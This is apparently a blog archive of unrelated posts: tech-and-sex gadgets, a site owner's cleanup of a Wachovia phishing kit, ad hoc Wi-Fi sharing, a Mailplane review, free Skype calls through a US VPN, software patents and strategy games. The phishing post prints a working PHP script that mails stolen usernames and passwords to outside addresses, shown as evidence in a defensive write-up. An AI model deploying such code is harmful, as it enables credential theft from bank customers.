Image Source: Fox News

Its not surprise that technology has been influenced heavily by people wanting to have sex or see other people have sex. Along the lines of what Scott Adams noted, in the vernacular, technology is driven forward by ostensible nerds, and as noted in the movie “Revenge of the Nerds”, nerds think only about sex when not thinking of being a genius. So any new technology that comes around, you can bet your money on it being used for something related to sex (and/or porn). Historically, when printing press came out, we had porn books follow soon; in the VHS vs. BetaMax war, VHS won primarily because porn videos were released in VHS and not in BetaMax (because BetaMax tapes, at least initially, were only 60 min. long); similarly when cameras came out, we had porn photographs. Why when Poloroids came out, you had home made porn hitting the cultural market in no time! So where is technology driving sex/porn now (or is it the other way around)?^[1]

My first true realization that technology really was all about sex came about in 2005 soon after the iPod came out. In 2005 or so came the iBuzz, which was essentially an iPod-powered-vibrator whose ‘buzz’ was essentially music activated. From then to now, the adult entertainment industry (that how they liked to be called BTW) has been leapfrogging with the technology, and in some cases, driving the technology. For instance, take iBuzz, technology soon improved around it to where now you have Freestyle (NSFW)which is the wireless version of the iBuzz with increased compatibility and quieter motors. Now if that wasn’t good enough for you, you have the Talk2Me (NSFW) which adds an interactive component to the whole deal: it comes with a built-in mic to turn vocalizations into vibrations; so now you can basically talk yourself into an orgasm (WTF)! Oh, and it gets better, the website advertises “Use it as a standard vibe or with your favorite song, your lover’s voice, a podcast, or your boyfriend’s video game.” You boyfriend’s video game?!?! So instead of having sex (which apparently is the second best thing you can do as a couple), let your boyfriend play a video game that you can orgasm to!

But if you insist on having sex (with your partner), but are geographically separated, or somehow detest the idea of having actual physical contact, then Virtual-Stick Synchro is the one for you! This is actually the next technological jump from phone sex. Its as close to virtual reality (and I mean ‘real’ reality, not a pixelated version) and extra-sensory tools that we have gotten with reliability. This tool has a ‘male’ stick for the woman and a ‘female’ hole for the man, and they are hooked up to each other via the internet, with webcams, mics, and other conventional communication mechanisms, and whatever each individual does to/with the stick (resp., or the hole), it’s sensed, transmitted, and replicated by the hole (resp., the stick). It aims to reduce a long distance relationship to a co-existential one in the 5th dimension.

But what if you don’t have a (willing) partner and still insist on having sex. Looks like we have technology working hard for you folks to! Until now, your only reasonable recourse was a blowup doll. Not anymore: recently showcased at the Adult Entertainment Expo in Las Vegas is Roxxxy TrueCompanion (NSFW). A TrueCompanion is the world first sexbot, that’s right, it’s a robot designed for sex! Its not science fiction anymore. It was artificial intelligence and mutliple personalities depending on your taste.It has sensors all over its body and so it can actually ‘feel’ whatever you are doing to it, and respond appropriately.

The motivation for Roxxxy is a testimony to the argument that nerds really do only think about sex (when they are thinking about being a genius). Now Roxxxy was created by Douglas Hines who was a researcher at Bell Labs (where he learned about the cutting edge in artificial intelligence). Douglas lost a good friends when the twin towers fell on 9/11. Douglas thought that it was sad to not be able to ever talk to him again. So, this made Douglas think seriously about how to implement a robotic representation of a person and have it reflect that person’s personality. And what came out of such a somber thought and effort is a Sexbot! Go figure :-)

Wonder where technology will take us next. My bet is that the publicity surrounding stem cells has less to do with curing diseases and more with the opportunities it provides us to have sex in many more different ways (much like many other technologies preceding it). I think what they are really going for is the Love Lump (NSFW). Any other predictions anyone?

References:
[1] Source: http://www.abc.net.au/science/wings/episode5.htm ^

To whom it may concern:

Please be aware that Wachovia Corporation (“Wachovia”) is the owner of numerous United States and foreign trade marks and services marks used in connection with its financial services and products (the “Wachovia Marks”), including the Wachovia wordmark and Wachovia logo.  Wachovia has expended substantial resources to advertise and promote its products and services under the marks and considers the marks to be valuable assets of Wachovia.

It has come to our attention that your company is hosting a known active phishing site.  The active phishing site displays the Wachovia Marks and is intended to defraud customers in an attempt to capture and use their identity.  Network Whois records indicate the IP address of the phishing site is registered to your Internet space.

Accordingly, we request that your site bring down the Phishing web site at:
<< http://<my website>/home/plugins/editors-xtd/confirm.html >>

So that’s how I knew that my site had been compromised by hackers and a phishing attack code had been injected into my site. If it has happened to you, do you know what is the right thing to do? How do you fix it? Well, here is what I did, and I think it is worthwhile to share this information so that it may be useful to others.. So here goes.

Step 1. Disable Your Site

First, disable your site, bring it down temporarily. The last thing you want is for more people to be scammed by a hacker who compromised your site. You can do that by disabling all access to all the files within your website. If the website is running on unix/linux you can do a “chmod -R 000 <website-home-directory>” (Refer to the chmod tutorial here). For those using cpanel, go to the file manager and change the permissions of the document root for the website.

Step 2. Investigate the Offending Webpage

Now that no more unsuspecting users can be affected by this phishing attack. Now we dig into the offending webpage that is causing the problem. In my case it was: http://<my website>/home/plugins/editors-xtd/confirm.html

I opened up the html file, and this is what I saw:

……

<html xmlns=”http://www.w3.org/1999/xhtml”><head>

<title>Wachovia – Personal Finance and Business Financial Services</title>

……

Clearly, someone was impersonating the Wachovia website. Now, with phishing, someone is trying to steal your username and password by impersonating some crediable website that needs your username and password to get into. In HTML, this is typically accomplished through ‘forms’, which starts with a `<form>’ tag in HTML. So I dug through the code and I saw two form tags.

The first one was:

<form method=”get” action=”http://search.wachovia.com/selfservice/microsites/wachoviaSearchEntry.do?” name=”searchForm” onsubmit=”return verifyQuery(this.searchString);”>

…..

This looks fine because the ‘action’ parameter points to http://search.wachovia.com/selfservice…. which is a search script on the Wachovia website. So anyone filling you this form is sendin their data to the Wachovia website and the hacker will not get any information from it.

Now to the second form tag:

<form method=”post” action=”screen.php” name=”uidAuthForm” id=”uidAuthForm” onsubmit=”return submitLogin(this)”>

……

Aha! The smoking gun! Why? Well, look at the ‘action’ parameter in this ‘form’ tag, it says ‘screen.php’ which is clearly not a script that is on the Wachovia servers, but something that is hosted on my website! So the hackers installed another script on my system to phish the username and passwords. Now I go see what’s inside this ‘screen.php’ file that is located in the same directory as the ‘confirm.html’ file we have been looking at so far.

Step 3. Isolate the script that is doing the actual phishing attack and find the offenders

So I open up the ‘screen.php’ file and this is what I find:

<?php

$ip = getenv(“REMOTE_ADDR”);
$datamasii=date(“D M d, Y g:i a”);
$userid = $HTTP_POST_VARS["userid"];
$password = $HTTP_POST_VARS["password"];
$mesaj = “Hello
userid : $userid
password : $password
——–0WN3d By Louis—————-
IP : $ip
DATE : $datamasii
“;

$recipient = “cashbug5010@gmail.com,smithgreen@hotmail.com”;
$subject = “Take What U need But Make Sure U Cash It Out !!!”;

mail($recipient,$subject,$mesaj);
mail($to,$subject,$mesaj);
header(“Location: http://www.wachovia.com/helpcenter/0,,,00.html”);
?>

So here we are! Gotcha! Check out the line ‘$recipient = “cashbug5010@gmail.com,smithgreen@hotmail.com”;’ Clearly, the phishing attack was being carried out by the following two email addresses: cashbug5010@gmail.com and smithgreen@hotmail.com. Now that I have this much information, what do we do next?

Step 4. Inform the Authorities

We give this information to the authorities who can carry the investigation forward. And who are they? First, respond back to the email address that alerted you of this phishing attack (do a ‘reply all’ if there were multiple recipients/Cc’s to the email you received). Also, copy phishing-report@us-cert.gov and cert@cert.org to this email and just give them a copy of the phishing code (in this case it was the file ‘screen.php’) and the offending email addresses you found.

As for now, that is all you can do, and just co-operate with the authorities if they need more information.

Step 5. Quarantine the Malicious Code and Restore Your Website

Quarantine the files (by disabling their permission to ’000′) and now that the code has been quarantined, you can bring your website up again by setting the permission back to as they were earlier (except for the offending code).

DO NOT DELETE THE MALICIOUS CODE BECAUSE IT IS EVIDENCE AGAINST THE PHISHING ATTACK AND EXONERATES YOU! Otherwise, the authorities may pursue you as an accessory to the crime!

Step 6. Inform Google That Your Site is Safe Again

Now, note that the odds are that Google has already put a notice out against your site as a source of a phishing attack. So go to the following URL http://www.google.com/safebrowsing/report_error/ to let Google know that the problem has been taken care off and you site is safe again.

And that’s all you can do for the moment. Make sure your site is secure and you haven’t given permission to any of your directories to be writable by anyone except you. As for preventing future security breaches, it is always a cat-and-mouse game with hackers and like of you getting smarter and better than the other.

Ever wondered if you could get a short-range wireless network (for your home) without a wireless router? Well, it is possible. Here’s how:

Things you need

1. A home computer/laptop with an Ethernet port and wireless card (this computer will then double up as a wireless router).
2. Internet connection that terminates at your home computer/laptop
3. Client computers/laptops with wireless cards
4. Note that the instructions here are for Windows XP, other operating systems will probably have similar ways to accomplish what I am giving you instructions for.

Basic Idea

The basic idea is to set up an ad hoc wireless network among all the computers/laptops so that each one can communicate with the other through the wireless network. Now designate one of the computers as a gateway. The gateway computer is connected to the internet its wired Ethernet connection. Get the gateway to advertise itself as the default internet gateway to all other computer in the ad-hoc network. Now all the computers will start accessing the internet through the gateway computer. Thus the wireless network is established.
Something like this:

Detailed Instructions

1. Configuring your wireless card on the gateway computer

Your gateway computer is already connected to the internet using a wired connection. We configure the wireless card on the gateway computer as follows:

• Go to control panel, switch to classic view and click on Network Connections. This should take you to the list of network adapters on your system. Right-click on your wireless network connection and select Properties.
• Click on Wireless Networks tab in the properties window, and it should look something like this:



• In this tab, click on the Advanced button right next to ‘Learn about setting up a wireless network configuration‘. You should see a window that looks like this:



• Click on Computer-to-computer (Ad Hoc) networks only, and then click Close.
• You should now be back in the Wireless Networks tab of the wireless card properties window. Click on Add button (to add a new ad hoc network). You should see a window that looks something like this:



• Give you ad hoc network the name that you want. I called it ‘Peggy Sue’ in my example. Let the Network Authentication be ‘open‘. You can configure authentication later, if you want. Then, click Ok.
2. Configuring the Wired connection on the gateway computer

Now you have a ad hoc wireless network, and a connection to the internet. You have to configure them to talk to each other other so that traffic from the ad hoc wireless network can access the internet. You do so by ‘sharing’ the internet connection as follows:

• Go to control panel, switch to classic view and click on Network Connections. This should take you to the list of network adapters on your system. Right-click on your local area connection and select Properties.
• Go to the Advanced tab which looks something like this:



• Check the box that says ‘Allow other network users to connect through this computer’s internet connection‘. And click Ok.

Now when you right-click on the wireless network connection and click on view wireless networks, you should see something like this:


3. Connecting other wireless clients to the network

All you now have to do is start up other computers, and connect to the ad hoc wireless network (Peggy Sue) that you just created and you should be good to browse the internet wirelessly!

I have been using Mailplane for a few days now here are my first impressions.

Like most MAC applications, Mailplane is ridiculously easy to install, and configuration is done with just a handful keystrokes. All you really need, as far as configuration goes, is your Gmail username and password. Here are is a screenshot of Mailplane.

Mail client style features with gmail style freedom

As you can see from the screenshots, the main window is simply the gmail interface. There is nothing fancy about it. The magic is around the main window. Its the toolbars. You have outlook/thunderbird style icons that allow you to compose messages, reply (all), star, archive etc. So for people who are more comfortable with outlook/thunderbird style desktop email clients, but want the versatility and search capability or gmail, Mailplane is the perfect application for them.

You can also configure Mailplane to be your default email client. If gmail is your primary email, and you don’t like using email clients, then when you come across links like <a href=”mailto:abc@xyz.com>, then you have to highlight the link, right click (or control-click), copy email address, open new message on gmail, paste the email you copied, and so on. Its too many clicks and too painful.

With Mailplane as you default mail client, just click on the email link in your browser, and it automatically opens up Mailplane, takes you to the compose message window with the email already pasted in the ‘To:’ field. All in just one click!

Support for Multiple Gmail Accounts

The feature I liked best about it was that it has support for multiple gmail accounts. So if you have multiple gmail accounts (most of them do), and you would like to be able to switch between them like you would switch between tabs of a browser, Mailplane is the answer to your prayers. You can configure it to handle as many gmail accounts as you want and switch between the accounts with a mouse click (actually it a double-click).

Support for Google Hosted Accounts

Now its not just multiple gmail accounts it supports, it also supports multiple google hosted emails as well. (If you are wondering what exactly is Google hosting check out Google Apps). One of my domain’s email is hosted by google. I have an admin email, and a user email that I like to keep separate. With traditional web based email, I could access only one account at a time. With Mailplane, I can now access both accounts simultaneously, not to mention other gmail accounts as well.

Get IMAP-like behavior with Gmail

I personally prefer desktop clients as email viewers and the email servers for email storage. IMAP works really well for that, but gmail (and google hosted email) does not support IMAP. With Mailapp, however, I can get IMAP like behavior with an desktop client like features and my emails are still stored at the gmail server. Its a good trade-off to make.

ISP blocks traffic to google SMTP server? No problems

If you configure a desktop email client to send and receive messages from gmail (or google hosted email), then you have probably noticed the following problem: You ISP blocks all send mail requests to your google SMTP server (because ISPs want you to use their SMTP server). The issue with such restriction is that if you don’t send you email via google’s SMTP server, then the sent mail wont show up in your sent mail folder (label) on your gmail.

With Mailplane however, this is no longer an issue. Mailplane sends emails via HTTP (your browser), and so if you send emails via Mailplane, then they will show up on you sentmail! Problem solved.

iLife and Mailplane

Its biggest selling point is its iLife integration. It allows you to drag-and-drop attachment, import photographs from iPhoto, automatically optimize it for the web before attaching, etc. It also integrates well into the Growl notification system which is great feature because then it pretty much does the job of a Gmail Notifier without having to install a new application.

Additionally, integration with Growl also allows Mailplane to send notifications to you on the screen when someone IMs you on google talk. Currently, if you are on mac, then you can only use the web-based google chat, and if you don’t have your speakers on, then there is no way for you to know if someone is messaging you unless you specifically check you gmail window. With Mailplane, you will get a Growl notification on your screen if someone messages you on google chat. This, IMHO, is a much needed feature for google chat for Mac users.

So, yeah, Mailplane is all great and wonderful. But its not without its issues.

It works only on Mac OS X Tiger or later

So if you use any other operating system be it windows, linux, Mac OS X 10.3 or lower there is no Mailplane port for it, and there probably wont be

Its free because its still in beta

Mailplane is free for now because it is still in beta. Once its stable enough for a general release the developer(s) are planning on releasing it as a shareware with a three week evaluation period. So yeah, in the general sense its not free.

It does send email notifications, but…

If you have Growl installed, then email notifications are sent, but only for the currently active account on the Mailplane window. So if you receive new mail from another account that is currently not the active one, Mailplane is simply silent about it.

mailto:, but as who?

If Mailplane is configured as the default email client, then on clicking on any ‘mailto:’ style link, the browser opens up Mailplane and opens a gmail compose window. However, it opens the compose window for the currently active account on Mailplane. Which means if you have two accounts on Mailplane, viz., abc@gmail.com and xyz@hostmail.com, and xyz@hostmail.com was on the active window, then if you click on a ‘mailto:’ link, the compose window will be for the account xyz@hostmail.com. If you wanted to compose email as from abc@gmail.com, then you’d either have to do it the old fashioned way be copying the email address, opening the account abc@gmail.com, and pasting the email. Else, you have to first switch to abc@gmail.com account on Mailplane and then click on the ‘mailto:’ link. In either case it defeats the advantage of having a one-click-to-compose feature on Mailplane.

It works but its slow

Compared to desktop email client, Mailplane is slow. It is slow in starting up, logging in, and in switching accounts. So if speed is your thing, then Mailplane will disappoint you.

Supports keyboard shortcuts, but you’ll need to relearn them

Although Mailplane has support for keyboard shortcuts (like gmail does), the keyboard shortcuts are Mac-syle and are very different from the ones that gmail has. So if you are someone used to gmail keyboard shortcuts, and likes to use keyboard shortcuts, then you’ll have to relearn them. Not my idea of time well spent.

So who should use it and how?

For starts, you need a Mac with OS X 10.4 or later. The following apply:

1. If you have one gmail (or google hosted) account as your primary account, and you’d like to send emails from that account most of the time, then install Mailplane and use it as a default mail client.
2. If you have multiple gmail (or google hosted) accounts that check regularly, and you don’t like having to log in and out of your various accounts multiple times, then Mailplane is what you need.
3. If you’d like to be notified every time you received an email, then install Mailplane with Growl.
4. If you have multiple identities that you mail from, and you have configured one gmail (or google hosted) account to handle all those identities, then use Mailplane for just that account and set Mailplane as your default mail client.

So if you think Mailplane is right for you and you’d like to try it out, you can sign up for beta invitation here, or you can leave a comment on this thread and I can send you an invite. I have just 5 invites, so the first five requests get the invite :). Remember, it works only on Mac OS X ‘Tiger’ or later.

Minimum requirements:

1. High speed internet connection (DSL, Cable internet). I have not tested it with dial-up, and so cannot vouch for this working with dial-up.
2. A computer running XP with multimedia support and admin priviliges
3. Computer speakers and microphone
4. The tutorial below
5. 20 minutes of your time

Here’s a brief summary of how this works. Skype is offering free calls to all landlines and mobile phones within US and Canada till end of 2006. However, if you connect to skype from outside US and Canada, Skype will detect that the connection is not within US and so wont allow you to call for free. The workaround is to make Skype believe that you are connecting to it from the US. We use VPN to achieve that. iPig provides free VPN service that terminates in the US. So if you open a VPN connection to iPig and connect to Skype, Skype traces your origin to iPig’s servers and assumes that you are connecting from within US, allowing you to make free calls from your computer.

Here are the steps:

1. Get a skype account and the skype instant messenger. If you dont already have one, here is how you can get it
   1. Download the latest version of Skype from www.skype.com
   2. Install it
   3. Launch the skype messenger and register a new username in the login window.
   4. Log out of skype and close the application.
2. Get an iPig account and iPig VPN client (note that iPig will NOT work with cisco VPN client, or windows XP’s built-in VPN client). If you dont have one (which is likely the case) here is how you get one
   1. Download the the iPig client (version 1) from iPig website here. Make sure you download iPig Client v1.x and not v2.x. V2 does NOT support free accounts and will not work for you
   2. Install the iPig client. You need to reboot your PC after the installation.
   3. Reboot your PC
   4. Create a free iPig User Account
3. Now we have all the software that we need to get this working. You need to first log into iPig and then into Skype (the order is important, it might not work otherwise)
   1. Open the iPig software and enter your iPig username and password (Screenshot)
   2. Click the “ON” button to protect all your wireless and wired communication
   3. If you have a firewall software installed (e.g. Zonealarm or Norton Internet Security), you need to allow iPig outgoing and “act as a server” Internet access if your software asks. iPig needs this in order to catch and encrypt your Internet traffic (Screenshot).
   4. Open Skype and login using your Skype username and password
   5. Call any phone number in the US using Skype, here are the instructions on how to call regular phones.
   6. Wait till the call connects and start talking :)

Hope the level of instructions are sufficient and clear enough for you to get it working. If nto just leave me a comment with a valid email address and I will respond to the comments on this blog and email you a copy as well.

Happy talkin’!!

P.S: Digg it if you like it

Patents are typically awarded to inventions and new ideas. The idea is to give an incentive to the inventors for sharing their inventions with the public. In exchange for sharing the invention, the inventor is given monopoly over its use for 17 years.The patent holder can license its use, or may even choose to refuse to do so, or even sell his patent rights to others. Also independent reinvention of the same technique by someone else does not give them the right to use it.

This workes fine for inventions is all branches of science and arts, but fails miserably in case of computer algorithms. In case of hardware design, or automobile design or any physical system, design of one component is likely to affect others. Hence interoperability is not always guaranteed. Due to various factors like temperature, pressure, presence of other chemicals etc. one particular technique used in one physical system may fail in another. However, this is not the case with computer algorithms. For instance, behaviour of a pointer is the same, regardless of whether it is referred to inside a while loop, or outside it, from a function or otherwise. The behaviour of a pointer is not distorted because to where or how it is called. But similar analogy may not apply in case of physical systems, the mechanism used by a CD player mounted on a stable platform will not work in case of a discman. The CD will end up skipping forever due to the vibrations and shocks, hance requirement of a new mechanism to play CDs in a discman.

More often than not, it is virtually impossible to write a complex piece of software without making use to already established techniques. Also, there may not be any other way doing things. There may not be any workarounds. Consider, for example, the proof given for finding prime numbers in polynomial time. Assuming an algorithm is developed to generate prime numbers or validate primality of a number in polynomial time and it is patented. Then this effectively thwarts all new developments in the area of number theory and encryption across multitude of avenues. Ironically, the purpose of patents is to “promote the progress of science and the useful arts.”

A patent is an absolute monopoloy. This policy implicitly assumes that inventions are rare and precious, since only in those circumstances is it beneficial. However,software is a field of constant reinvention, and recombination of known techniques to provide a solution. With patents this is disallowed. A classic example is that of quicksort and linked lists. Both quicksort algorithm and concept of linked lists is all too well known. However, there is patent for using linked lists as the data structure for quicksort! Things couldnt get more absurd than this. Here is a list of some more absurd software patents that have been granted over the past years.

Donald Knuth makes a impressive arguments against software patents in his letter to the Commissioner of Patents and Trademarks, USA. A more detailed description on the dangerous trends in software patents is available here.

In case you believe (like I do) that software patents are causing more harm than good, then sign the Petition Against Software Patents (open only to citizens of USA)

Recommended reading:

FFII: Software Patents in Europe

Software Patents

Microsoft and FSF represent the ends of the spectrum. Each of them have their problems. If the whole world were to be dominated by Microsoft, they wouldnt hesitate in forcing us to eat the products they endorse, and trying to take control of what we watch on TV, or listen on our radio. Of course, not to mention the number of times we will have to restart all of the machines and systems that ran on Mircosoft software.

Having said that, FSF isnt exactly our saviour either. If the world were to go FSF way, then programmars wont be able to make living, atleast not the way we do now. It is a really good idea to disseminate the source code along with the software for reasons obvious. But then, how does the person who is developing software make a living. You cannot afford to be a part time developer, it simply wont scale in the economics of today and the sheer demand for such services will render this model of software development ill-equipped to service the needs. The arguement often quoted if favour of FSF is that research is often shared with the world, the it is the this shared knowledge that other build upon for advancement of science and mankind. But in case of research, it is often funded by the government or corporates that cannot afford their engineers/scientists’ time on a project whose result may or may not be ecnomically viable. For obvious reasons, it is not easy for software development to work on this model. So FSF at its radical extreme may be the solution after all.

The main argument in favour of FSF is the monopolistic practices of corporates like Mircosoft. It is not a very good idea to let corporates decide our life style, what we read or what we listen to. But that’s exactly what they are trying to do. RIAA has been trying hard to control piracy by inserting protection mechanisms on the CD and mp3 players to ensure that “illegal” copies of the song cannot be played by them. This is just one of the ways in which the industry is trying to control our experience. They attempting to deny us our freedom. Our freedom to choose what we want, and how we like it. Just like we can buy the ingredients and cook what we want, we should be able to do the same with software, take the software that we need, and be able to customize it to suit our requirements and add features to it if we need to. This is what Free Software Foundation stands for.

So what we really need are ethical practises from the corportates, and laws to ensure that these ethics are respected and adhered to by the industry. What we need are softwares that are more reasonably priced, and not audio CDs that cost Rs.10 to make but are sold at Rs.200. What we need is a flexibility by the industry to allow expansion of any software’s feature set and customizability for one’s need. If this is done, then we might see an end to the war we witness over the net almost everyday

P.S: Click Here for Windows source-code ;)

I have always been a strategy games fan, especially turn based games, and let me tell you Age of Empires and it’s sequels and expansion kits suck BIG TIME!! The AI is competely screwed. The best strategy games I have played have been by SID MIER, including Alpha Centauri, Rail Road Tycoonand Civilizations III. And then there is Gyttesberg, it’s not much in terms of playing standards, but impressed me mopst about it is the level of details to which you can go to in the game. You con control and entire army, or a battallion or get down to even a single cannon! Now that’s control!!

The look and feel of alpha centuari and civ3 are very similar, almost like they use the same engine, but in civ3, the challenge level has been notched up a level, and that makes it far more interesting than alpha centuari. For people starting out on strategy games, I would recommend Alpha Centuari. It will take you some to get used ot the user interface with zillions of options and menus, but you have got the hang of it, is becomes increasingly addictive and the craving for it simply refuses to die. I once spent 26 hours non stop on the PC playing this game, taking breaks only to have my lunch, dinner and bath :)

Any strategy game fans around? If you are a AOE fan, then you are NOT a strategy game fan. Folks, buzz in, I need an education on this one. My knowledge may be outdated ;)